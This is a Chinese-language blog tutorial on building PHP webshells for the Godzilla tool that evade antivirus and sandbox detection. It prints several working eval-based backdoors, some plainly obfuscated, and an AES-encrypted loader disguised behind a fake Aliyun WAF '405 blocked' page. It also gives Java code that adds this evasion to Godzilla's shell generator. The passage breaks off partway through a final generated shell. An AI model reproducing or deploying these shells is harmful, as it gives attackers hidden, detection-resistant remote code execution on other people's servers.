安全对抗:如何在哥斯拉二开中无缝集成 PHP 免杀&伪造阿里云waf防检测

目前的 webshell 的话因为太普通,基本上一传上去就被识别了

我们看看原本上传的木马,这里以 php 木马为例子

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='a';
$payloadName='payload';
$key='0cc175b9c0f1b6a8';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
        eval($payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

拿着去看看实力


然后尝试使用我们的工具

我没有跑完,但是已经监测出很多了

ByPassGodzilla

https://github.com/Tas9er/ByPassGodzilla

我们生成了一个免杀的 php 马子

Hello Administrator!
WelCome To Tas9er Godzilla PHP Console!
<?pHP
@session_start();
@set_time_limit(Chr("48"));
@error_reporting/*fuckgovC*/(Chr("48"));
function baidu4tUQztjr(/*fuckgovwL27jl*/$baidu4AaXh4vd60Sr0J,$baiduPgF2838){
    for($baidup3ieeeAPMpJN=Chr("48");$baidup3ieeeAPMpJN<strlen($baidu4AaXh4vd60Sr0J);$baidup3ieeeAPMpJN++) {
        $baiduq0wCDGxd9 = $baiduPgF2838[$baidup3ieeeAPMpJN+Chr("49")&15];
        $baidu4AaXh4vd60Sr0J[$baidup3ieeeAPMpJN] = $baidu4AaXh4vd60Sr0J[$baidup3ieeeAPMpJN]^$baiduq0wCDGxd9;
    }
    return $baidu4AaXh4vd60Sr0J;
}
$baidu4Bu = "bas"."e6".Chr("52")."_"."de"."cod".Chr("101");
$base64_baidu4tUQztjr = "bas"."e6".Chr("52")."_e".Chr("110").Chr("99")."ode";
$baidubvxequx3=("&"^"r").("7"^"V").("I"^":").("p"^"I").("_"^":").$baidu4Bu($baidu4Bu("Y2c9PQ=="));
$baidujTABcfFhsHi0M='p'.$baidu4Bu($baidu4Bu("WVhsc2IyRms="));
$baidud='c52500ca'.$baidu4Bu("MzJhZjJiODA=");
$baidujUWONVClUb83iD=("!"^"@").'ss'.Chr("101").'rs';
$baidujUWONVClUb83iD++;
if (isset($_POST/*fuckgovRXX*/[$baidubvxequx3])){
    $datbaidujUWONVClUb83iD=baidu4tUQztjr/*fuckgov3aFleUfz*/($baidu4Bu($_POST[$baidubvxequx3]),$baidud);
    if (/*fuckgovyywDU2cEzANvj*/isset($_SESSION/*fuckgovpxJQXPUgMBGI*/[$baidujTABcfFhsHi0M])){
        $baiduvcg0J3bJMRGWKfs=baidu4tUQztjr($_SESSION/*fuckgovtFzg9NE6qFh1*/[$baidujTABcfFhsHi0M],$baidud);
        if (/*fuckgoviPm*/strpos($baiduvcg0J3bJMRGWKfs,$baidu4Bu/*fuckgov1*/($baidu4Bu("WjJWMFFtRnphV056U1c1bWJ3PT0=")))===false){
            $baiduvcg0J3bJMRGWKfs=baidu4tUQztjr/*fuckgov5*/($baiduvcg0J3bJMRGWKfs,$baidud);
        }
        define("baiduS91g","//baiduyLS8emoa\r\n".$baiduvcg0J3bJMRGWKfs);
        $baidujUWONVClUb83iD(baiduS91g);
        echo substr(/*fuckgovTqb2E*/md5/*fuckgovB*/($baidubvxequx3.$baidud),Chr("48"),16);
        echo $base64_baidu4tUQztjr(baidu4tUQztjr(@run($datbaidujUWONVClUb83iD),$baidud));
        echo substr(/*fuckgovHjQeiCOZ*/md5/*fuckgovABlkhRvOE8*/($baidubvxequx3.$baidud),16);
    }else{
        if (strpos/*fuckgovoYpqjp*/($datbaidujUWONVClUb83iD,$baidu4Bu($baidu4Bu("WjJWMFFtRnphV056U1c1bWJ3PT0=")))!==false){
            $_SESSION[$baidujTABcfFhsHi0M]=baidu4tUQztjr($datbaidujUWONVClUb83iD,$baidud);
        }
    }
}
?>

可以看到可读性是差了很多,丢进沙箱看看

可以看到是少了很多,但是依然检测出来了

微步的

微步只是简单警告了

Webshell_Generate

https://github.com/cseroad/Webshell_Generate

我们使用这个生成一个

内容如下

<?php @session_start();@set_time_limit(0);@error_reporting(0);function encode($D,$K){for($i=0;$i<strlen($D);$i++) {$c = $K[$i+1&0xF];$D[$i] = $D[$i]^$c;}return $D;}$payloadName='load1689';$key='0cc175b9c0f1b6a8';$pass='a';if (isset($_POST[$pass])){$bs = preg_replace('/\*/', '', 'base*64*_deco*de');$p = $_POST[$pass];$data=encode($bs($p.""),$key);if (isset($_SESSION[$payloadName])){$payload=encode($_SESSION[$payloadName],$key);if (strpos($payload,"getBasicsInfo")===false){$payload=encode($payload,$key);}class GH70y973{ public function __construct($payload) {@eval("/*Z86m634950*/".$payload."");}}new GH70y973($payload);echo substr(md5($pass.$key),0,16);echo base64_encode(encode(@run($data),$key));echo substr(md5($pass.$key),16);}else{if (strpos($data,"getBasicsInfo")!==false){$_SESSION[$payloadName]=encode($data,$key);}}}

然后看看实力

发现还是很一般啊

微步的

不等了


XG_NTAI

https://github.com/xiaogang000/XG_NTAI


这个比较高级了,还可以伪造

然后生成木马

<?php
error_reporting(0);
class cFile {
    public static function selectFile($filename){
        $sign = 'fc70f4eeba33b088';
        $fileurl = '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';
        $file = openssl_decrypt(cFile::de($fileurl), "AES-128-ECB", $sign,OPENSSL_PKCS1_PADDING);
        $file_error = $$filename;
        @eval($file_error);
        return "filename";
    }
    public static function getPriv() {
        return 'selectFile';
    }
    public static function de($fileurl){
        return base64_decode($fileurl);
    }
}
//$cfile = 'cFile';
$cfile = $_GET['oz4q0n'];
$error = [$cfile,[$cfile,'getPriv']()];
$error('file');

$uiUTVz = "<!DOCTYPE html>
<html lang="zh-cn">

<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <meta name="data-spm" content="a3c0e" />
    <title>
        405
    </title>
    <script src="//g.alicdn.com/code/lib/qrcodejs/1.0.0/qrcode.min.js"></script>
    <style>
        html,
        body,
        div,
        a,
        h2,
        p {
            margin: 0;
            padding: 0;
            font-family: 微软雅黑;
        }

        a {
            text-decoration: none;
            color: #3b6ea3;
        }

        .container {
            width: 1000px;
            margin: auto;
            color: #696969;
        }

        .header {
            padding: 50px 0;
        }

        .header .message {
            height: 36px;
            padding-left: 120px;
            background: url(https://errors.aliyun.com/images/TB1TpamHpXXXXaJXXXXeB7nYVXX-104-162.png) no-repeat 0 -128px;
            line-height: 36px;
        }

        .main {
            padding: 50px 0;
            background:
                #f4f5f7;
        }

        .main img {
            position: relative;
            left: 120px;
        }

        .footer {
            margin-top:
                30px;
            text-align: right;
        }

        .footer a {
            padding: 8px 30px;
            border-radius:
                10px;
            border: 1px solid #4babec;
        }

        .footer a:hover {
            opacity: .8;
        }

        .alert-shadow {
            display: none;
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height:
                100%;
            background: #999;
            opacity: .5;
        }

        .alert {
            display: none;
            position:
                absolute;
            top: 200px;
            left: 50%;
            width: 600px;
            margin-left: -300px;
            padding-bottom:
                25px;
            border: 1px solid #ddd;
            box-shadow: 0 2px 2px 1px rgba(0, 0, 0, .1);
            background: #fff;
            font-size: 14px;
            color: #696969;
        }

        .alert h2 {
            margin:
                0 2px;
            padding: 10px 15px 5px 15px;
            font-size: 14px;
            font-weight: normal;
            border-bottom: 1px solid #ddd;
        }

        .alert a {
            display: block;
            position: absolute;
            right: 10px;
            top: 8px;
            width: 30px;
            height: 20px;
            text-align: center;
        }

        .alert p {
            padding: 20px 15px;
        }

        #feedback-container {
            width: 110px;
            margin: auto;
            margin-top: 120px;
            text-align: center;
        }

        #qrcode {
            margin: 0 15px 5px 15px;
        }

        #feedback a {
            color: #999;
            font-size: 12px;
            margin-top: 5px;
        }
    </style>
</head>

<body data-spm="7663354">
    <script>
        with (document) with (body) with (insertBefore(createElement("script"), firstChild)) setAttribute("exparams", "category=&userid=685308295&aplus&udpid=VWeUOceQJdKj&&yunid=&e93b4e3e75e05&trid=6525b79615839206094003938e&asid=AYf52CjhtWhe+af+HQAAAACWA/SInO3QLw==", id = "tb-beacon-aplus", src = (location > "https" ? "//g" : "//g") + ".alicdn.com/alilog/mlog/aplus_v2.js")
    </script>
    <script>
        //
        var i18nObject = {
            "zh-cn": {
                "message": "很抱歉，由于您访问的URL有可能对网站造成安全威胁，您的访问被阻断。",
                "bgImg": "https://errors.aliyun.com/images/TB15QGaHpXXXXXOaXXXXia39XXX-660-117.png",
                "report": "误报反馈",
            },
            "en-us": {
                "message": "Sorry, we have detected malicious traffic from your network, please try again later.",
                "bgImg": "https://img.alicdn.com/tfs/TB1ADAOIFzqK1RjSZSgXXcpAVXa-1320-234.jpg",
                "report": "Report",
            }
        }
        var i18n = i18nObject["en-us"];
        if (navigator.language.indexOf("zh") >= 0) {
            i18n = i18nObject["zh-cn"];
        }

    </script>

    <div data-spm="1998410538">
        <div class="header">
            <div class="container">
                <div class="message">
                    <script>document.write(i18n.message)</script>
                </div>
            </div>
        </div>
        <div class="main">
            <div class="container">
                <script>document.write('<img width="660" height="117" src="' + i18n.bgImg + '"/>')</script>

            </div>
        </div>
        <div class="footer">
            <div class="container">
                <span style='display:none'>
                    <script>
                        function getQueryString(url, name) {
                            var reg = new RegExp('(^|&)' + name + '=([^&]*)(&|$)');
                            var r = url.substr(1).match(reg);
                            if (r !== null) return unescape(r[2]); return null;
                        }
                        var __uuid___ = getQueryString(location.href, "uuid")
                    </script>
                </span>
                <a target="_blank" id="report" href="javascript:;" data-spm-click="gostr=/waf.123.123;locaid=d001;">
                    <script>document.write(i18n.report)</script>
                </a>
            </div>
        </div>
    </div>
    <div id="alertShadow" class="alert-shadow">
    </div>
    <div id="alertContainer" class="alert">
        <h2>
            提示：
            <a href="javascript:;" title="关闭" id="closeAlert">
                X
            </a>
        </h2>
        <p>
            感谢您的反馈，应用防火墙会尽快进行分析和确认。
        </p>
    </div>
    <div id="feedback-container">
        <div id="qrcode"></div>
        <div id="feedback"></div>
    </div>
    <script>
        function show() {
            var g = function (ele) {
                return document.getElementById(ele);
            };
            var reportHandle = g('report');
            var alertShadow = g('alertShadow');
            var alertContainer = g('alertContainer');
            var closeAlert = g('closeAlert');
            var own = {};
            own.report = function () { 
                own.alert();
            }; own.alert = function () { alertShadow.style.display = 'block'; alertContainer.style.display = 'block'; }; own.close = function () { alertShadow.style.display = 'none'; alertContainer.style.display = 'none'; };
        };

        var uuid = location.href.match(/uuid=([^&]+)/);
        uuid = uuid && encodeURIComponent(uuid[1]);
        var urlQrCode = location.href.match(/qrcode=([^&]+)/);
        urlQrCode = urlQrCode && decodeURIComponent(urlQrCode[1]);
        if (uuid || urlQrCode) {
            var qrcode = new QRCode(document.getElementById("qrcode"), {
                text: urlQrCode || uuid,
                width: 80,
                height: 80,
                colorDark: "#999",
            });
            var feedbackLink = getFeedbackLink();
            document.getElementById("feedback").innerHTML = feedbackLink;
        }
        function getFeedbackLink() {
            var urlOrigin;
            urlOrigin = location.href.match(/origin=([^&]+)/);
            urlOrigin = urlOrigin && decodeURIComponent(urlOrigin[1]).split("?")[0];
            if (urlOrigin) {
                try {
                    urlOrigin = new URL(urlOrigin);
                    if (urlOrigin.protocol !== "https:" && urlOrigin.protocol !== "http:") {
                        urlOrigin = null;
                    } else {
                        urlOrigin = urlOrigin.href;
                    }
                } catch (e) {
                    if (typeof urlOrigin !== "string" || urlOrigin.indexOf("http") !== 0) {
                        urlOrigin = null;
                    } else {
                        urlOrigin = filterHtml(urlOrigin);
                    }
                }
            }
            var _language = navigator.browserLanguage || navigator.language;
            var text = ["zh-CN", "zh-cn"].includes(_language) ? "点我反馈 >" : "Click to feedback >";
            return '<a href="' + urlOrigin + '/_____tmd_____/page/feedback?rand=S3WxGHAgAt756EpznwfNzJq2AFA2qBNla3j6EINUS8We9dazM_iKElp8DwVSHZUevpC41Bx7RzivXIj9RnZgdg&uuid=' + encodeURIComponent(uuid) + '&type=6" target="_blank">' + text + '</a>';
        };
        function filterHtml(str) {
            str = str.replace(/&/g, "");
            str = str.replace(/>/g, "");
            str = str.replace(/</g, "");
            str = str.replace(/"/g, "");
            str = str.replace(/'/g, "");
            str = str.replace(/`/g, "");
            str = str.replace(/javascript/g, "");
            str = str.replace(/iframe/g, "");
            return str;
        }

    </script>
    <script type="text/javascript" charset="utf-8" src="https://errors.aliyun.com/error.js?s=10">
    </script>
</body>

</html>";
if( count($_REQUEST) || file_get_contents("php://input") ){

}else{
    header('Content-Type:text/html;charset=utf-8');    http_response_code(405);
    echo base64_decode/**/($uiUTVz);
}

拿给好兄弟检测检测

舒服了,还得是小刚舒服

已经可以了算是

长亭的


自动化免杀

当然如果我们每次生成 webshell 后再使用工具有点麻烦,这里用小刚舒服的工具,只简单集成一下二开哥斯拉
这里只简单集成

首先就是需要看懂生成木马的逻辑

点击生成后会调用对应加密器的

public byte[] generate(String password, String secretKey) {
    return new String(functions.readInputStreamAutoClose(PhpEvalXor.class.getResourceAsStream("template/eval.bin"))).replace("{pass}", password).getBytes();
}

这里随便拿一个加密器举例子,然后看到关键方法

public static byte[] GenerateShellLoder(String pass, String secretKey, boolean isBin) {
    byte[] data = null;
    try {
        InputStream inputStream = Generate.class.getResourceAsStream("template/" + (isBin ? "raw.bin" : "base64.bin"));
        String code = new String(functions.readInputStream(inputStream));
        inputStream.close();
        code = code.replace("{pass}", pass).replace("{secretKey}", secretKey);
        code = TemplateEx.run(code);
        data = code.getBytes();
    } catch (Exception e) {
        Log.error(e);
    }
    return data;
}

就是对我们的模板进行一个替换,然后生成我们的文件

所以我修改的核心在于修改 GenerateShellLoder 方法,那么需要集成小刚师傅的免杀逻辑,就需要读懂代码

看一下主逻辑

public void buttonAction() {
String[] phpdemo = null;
switch ((String)this.selectDemo.getValue()) {
    case "phpdemo1":
        phpdemo = (new PhpEncodeDemo1((String)this.selectDemo.getValue(), this.sourcecodeArea.getText(), this.keyField.getText())).Run();
        phpdemo[0] = phpdemo[0] + (new HtmlPretend()).GetPhp((String)this.selectPretend.getValue(), this.pretendField.getText());
        break;
    case "phpdemo2":
        phpdemo = (new PhpEncodeDemo2((String)this.selectDemo.getValue(), this.sourcecodeArea.getText(), this.keyField.getText())).Run();
        phpdemo[0] = phpdemo[0] + (new HtmlPretend()).GetPhp((String)this.selectPretend.getValue(), this.pretendField.getText());
        break;
    case "phpdemo3":
        phpdemo = (new PhpEncodeDemo3((String)this.selectDemo.getValue(), this.sourcecodeArea.getText(), this.keyField.getText())).Run();
        phpdemo[0] = phpdemo[0] + (new HtmlPretend()).GetPhp((String)this.selectPretend.getValue(), this.pretendField.getText());
        this.noteArea.setText(phpdemo[1]);
        break;
    case "phpdemo4":
        phpdemo = (new PhpEncodeDemo4((String)this.selectDemo.getValue(), this.sourcecodeArea.getText(), this.keyField.getText())).Run();
        phpdemo[0] = phpdemo[0] + (new HtmlPretend()).GetPhp((String)this.selectPretend.getValue(), this.pretendField.getText());
        break;
    case "phpdemo5":
        phpdemo = (new PhpEncodeDemo5((String)this.selectDemo.getValue(), this.sourcecodeArea.getText(), this.keyField.getText())).Run();
        phpdemo[0] = phpdemo[0] + (new HtmlPretend()).GetPhp((String)this.selectPretend.getValue(), this.pretendField.getText());
        break;
    case "phpdemo6":
        phpdemo = (new PhpEncodeDemo6((String)this.selectDemo.getValue(), this.sourcecodeArea.getText(), this.keyField.getText())).Run();
        phpdemo[0] = phpdemo[0] + (new HtmlPretend()).GetPhp((String)this.selectPretend.getValue(), this.pretendField.getText());
        this.noteArea.setText(phpdemo[1]);
        break;
    case "*phpdemo7":
        phpdemo = (new PhpEncodeDemo7((String)this.selectDemo.getValue(), this.sourcecodeArea.getText(), this.keyField.getText())).Run();
        phpdemo[0] = phpdemo[0] + (new HtmlPretend()).GetPhp((String)this.selectPretend.getValue(), this.pretendField.getText());
        this.noteArea.setText(phpdemo[1]);
        break;
    case "*phpdemo8":
        phpdemo = (new PhpEncodeDemo8((String)this.selectDemo.getValue(), this.sourcecodeArea.getText(), this.keyField.getText())).Run();
        phpdemo[0] = phpdemo[0] + (new HtmlPretend()).GetPhp((String)this.selectPretend.getValue(), this.pretendField.getText());
        this.noteArea.setText(phpdemo[1]);
        break;
    default:
        phpdemo = new String[]{"请选择php免杀模板", ""};
}

我这里选择的是 demo6

然后首先是 PhpEncodeDemo6 模板的 Run 方法实现主要的免杀

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.xg.ntai.encode;

import com.xg.ntai.function.GetMd5;
import com.xg.ntai.function.RandomString;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

public class PhpEncodeDemo6 {
    String tamplate;
    String sourcecode;
    String key;
    String key1;
    String key2;
    String MScode;
    String randomstring;
    String Describe;

    public PhpEncodeDemo6() {
    }

    public PhpEncodeDemo6(String tamplate, String sourcecode, String key) {
        this.tamplate = tamplate;
        this.sourcecode = sourcecode;
        this.key = key;
    }

    public static String GetDescribe() {
        return "/*\n * By: XGС��\n * Update: 2023-12-25\n * Bypass: ���ơ������ƶ����ļ����ƽ̨����ȫ����������(1.8.2)��D��(2.1.7)\n * ����: /xxxx.php?xxxxxx=cfile\n * ��: ��php�汾����\n */";
    }

    public String[] Run() {
        if (!this.sourcecode.isEmpty()) {
            try {
                this.sourcecode = this.sourcecode.replace("<?php", "").replace("?>", "").trim();
                byte[] bytes = this.sourcecode.getBytes(StandardCharsets.UTF_8);
                if (this.key.equals("Ĭ�����")) {
                    this.key = RandomString.getRString((new Random()).nextInt(10) + 5);
                }

                this.key1 = GetMd5.getMd5(this.key).substring(0, 16);
                this.key2 = GetMd5.getMd5(this.key).substring(16);
                byte[] raw = this.key2.getBytes("utf-8");
                SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
                Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
                cipher.init(1, skeySpec);
                byte[] encrypted = cipher.doFinal(bytes);
                byte[] aes_bas64data = Base64.getEncoder().encode(encrypted);
                String demo = "PD9waHAKZXJyb3JfcmVwb3J0aW5nKDApOwpjbGFzcyBjRmlsZSB7CiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHNlbGVjdEZpbGUoJGZpbGVuYW1lKXsKICAgICAgICAkc2lnbiA9ICckJGtleSQkJzsKICAgICAgICAkZmlsZXVybCA9ICckJGVuY29kZSQkJzsKICAgICAgICAkZmlsZSA9IG9wZW5zc2xfZGVjcnlwdChjRmlsZTo6ZGUoJGZpbGV1cmwpLCAiQUVTLTEyOC1FQ0IiLCAkc2lnbixPUEVOU1NMX1BLQ1MxX1BBRERJTkcpOwogICAgICAgICRmaWxlX2Vycm9yID0gJCRmaWxlbmFtZTsKICAgICAgICBAZXZhbCgkZmlsZV9lcnJvcik7CiAgICAgICAgcmV0dXJuICJmaWxlbmFtZSI7CiAgICB9CiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGdldFByaXYoKSB7CiAgICAgICAgcmV0dXJuICdzZWxlY3RGaWxlJzsKICAgIH0KICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZGUoJGZpbGV1cmwpewogICAgICAgIHJldHVybiBiYXNlNjRfZGVjb2RlKCRmaWxldXJsKTsKICAgIH0KfQovLyRjZmlsZSA9ICdjRmlsZSc7CiRjZmlsZSA9ICRfR0VUWyckJHJhbmRvbSQkJ107CiRlcnJvciA9IFskY2ZpbGUsWyRjZmlsZSwnZ2V0UHJpdiddKCldOwokZXJyb3IoJ2ZpbGUnKTsK";
                this.MScode = new String(Base64.getDecoder().decode(demo));
                this.MScode = this.MScode.replace("$$key$$", this.key2);
                this.MScode = this.MScode.replace("$$encode$$", new String(aes_bas64data));
                this.randomstring = RandomString.getRString(6).toLowerCase();
                this.MScode = this.MScode.replace("$$random$$", this.randomstring);
                this.Describe = "/*\n * By: XGС��\n * Update: 2023-12-25\n * Bypass: ���ơ������ƶ����ļ����ƽ̨����ȫ����������(1.8.2)��D��(2.1.7)\n * ����: /xxxx.php?" + this.randomstring + "=cfile\n * ��: ��php�汾����\n */";
                return new String[]{this.MScode, this.Describe};
            } catch (Exception var8) {
                return new String[]{"����ʧ��", this.Describe};
            }
        } else {
            return new String[]{"�������Ы����˹��phpԴ��", this.Describe};
        }
    }
}

怎么实现的我们不需要关注,我们的目的就是集成它的 run 方法,把我们生成的代码进行一个免杀

public static byte[] GenerateShellLoder(String pass, String secretKey, boolean isBin) {
    byte[] data = null;
    try {
        // 读取原始 shell 代码
        InputStream inputStream = Generate.class.getResourceAsStream("template/" + (isBin ? "raw.bin" : "base64.bin"));
        String sourceCode = new String(functions.readInputStream(inputStream));
        inputStream.close();

        // 替换占位符
        sourceCode = sourceCode.replace("{pass}", pass).replace("{secretKey}", secretKey);

        // 调用 PhpEncodeDemo6 进行加密
        PhpEncodeDemo6 encoder = new PhpEncodeDemo6("", sourceCode, secretKey);
        String[] encodedData = encoder.Run();
        String encryptedCode = encodedData[0]; // 加密后的 PHP 代码
        String fakeHtml = new HtmlPretend().GetPhp("AliyunWAF", "405");
        String finalCode = encryptedCode + fakeHtml;
        data = finalCode.getBytes(StandardCharsets.UTF_8);
    } catch (Exception e) {
        Log.error(e);
    }
    return data;
}

后面的部分先不管,主要是

PhpEncodeDemo6 encoder = new PhpEncodeDemo6("", sourceCode, secretKey);
String[] encodedData = encoder.Run();
String encryptedCode = encodedData[0]; 

如果只是这样,还不够,这里我们再次加入我们的伪造 waf 页面

还是刚刚的逻辑

public String GetPhp(String name, String pretendField) {
    switch (name) {
        case "custom":
            this.pretendHtml = this.SetPhp(pretendField, "200");
            break;
        case "AliyunWAF":
            this.pretendHtml = this.SetPhp(AliyunWAF.GetHtml(), AliyunWAF.getCode());
            break;
        case "T-mshenWAF":
            this.pretendHtml = this.SetPhp(TmshenWAF.GetHtml(), TmshenWAF.getCode());
            break;
        case "T-secWAF":
            this.pretendHtml = this.SetPhp(TsecWAF.GetHtml(), TsecWAF.getCode());
            break;
        case "AnyuWAF":
            this.pretendHtml = this.SetPhp(AnyuWAF.GetHtml(), AnyuWAF.getCode());
            break;
        case "SafeLineWAF":
            this.pretendHtml = this.SetPhp(SafeLineWAF.GetHtml(), SafeLineWAF.getCode());
            break;
        case "SafedogWAF":
            this.pretendHtml = this.SetPhp(SafedogWAF.GetHtml(), SafedogWAF.getCode());
            break;
        case "WangsuWAF":
            this.pretendHtml = this.SetPhp(WangsuWAF.GetHtml(), WangsuWAF.getCode());
            break;
        default:
            this.pretendHtml = "";
    }

    return this.pretendHtml;
}

集成下来就是

String fakeHtml = new HtmlPretend().GetPhp("AliyunWAF", "405");
String finalCode = encryptedCode + fakeHtml;
data = finalCode.getBytes(StandardCharsets.UTF_8);

在最后我们生成木马后加上我们的伪造

然后构建一下,生成木马

<?php
error_reporting(0);
class cFile {
    public static function selectFile($filename){
        $sign = 'fc70f4eeba33b088';
        $fileurl = 'thNWzx4QzyHN0yIlTL77046uhj2EUqC4LopjZ65a2GYMJp4KOPDgUVUxnQeAjvdCZOsDDikQU1TuchgV4PCCQWwmX92lXXKvcIA6d7JEcbliO/fwIt4xPOEjiGsJlS7KeVtms9yagGvNZyMNoOfh+270S3BIE1UvfgBZjq9BdLDCHN5OfuUnV/MQ47POitbx5xd9nyV4eXmBqczgCflf/Wso0KYMYixiHIGjvyZYBY/QN/Drd+uScl5uYfbWDDm8Z9z+MqdHlWfxad+YkhyJc/JI4D4qghvU7VHVoKmaz1P0ubfL8shE5Z0gTPyvStELT+KC45tnBzGWz1qFy92h2/d3bMm1zjfcFRJdOJoQJcRtlcQBhi0XaC3wdhzThHHF3DqVDS/9AayiCEfNN5oKFpst932m/1ftCuf5MI9MY2pg5Yuh27dmAiod+EvEw43FUHP1QArBUio3HIrIrKTv/gg0urbmQUSZ9Fovdo4PTV9uAWGNu9PU/jKK1bTodPISUqNsH9nBIdv0xMbBjBh+uWe8MfpJ39gggYxuIcI4aSLC6LoLsY1GTaoGDrHBwiDX5ivFhil8AlgK718ET01jGnuiMKjutW2KsarUR57U7EZSKaW1KuYfDQemeVXhvW+MihHJO/prR4RcGhV+p9nuZAmVxuyrvmn+vL3qrHpY4xjzrJoJQf4s9KhbNY/fj9yopTqCtHyNYBPLFLwNpYIRkqs3+qo2dUHfw+RFQ98/sAm+Uas0DBcDIuvy4U04SRzzlLp3SIL2QUeERKc6TCQV/PxTUgJmZeDvufcmly6NqkwFE/v9a+cDytSSKdDkWUVqK1mlKe45hXMdUdA6TCuwurGeOTJg43GyaC9LvVOensqJ/l6XWUvtNuvDBr9BkbBkvh/P0NTjSdsLswG6RKkU/J05BsFHCu0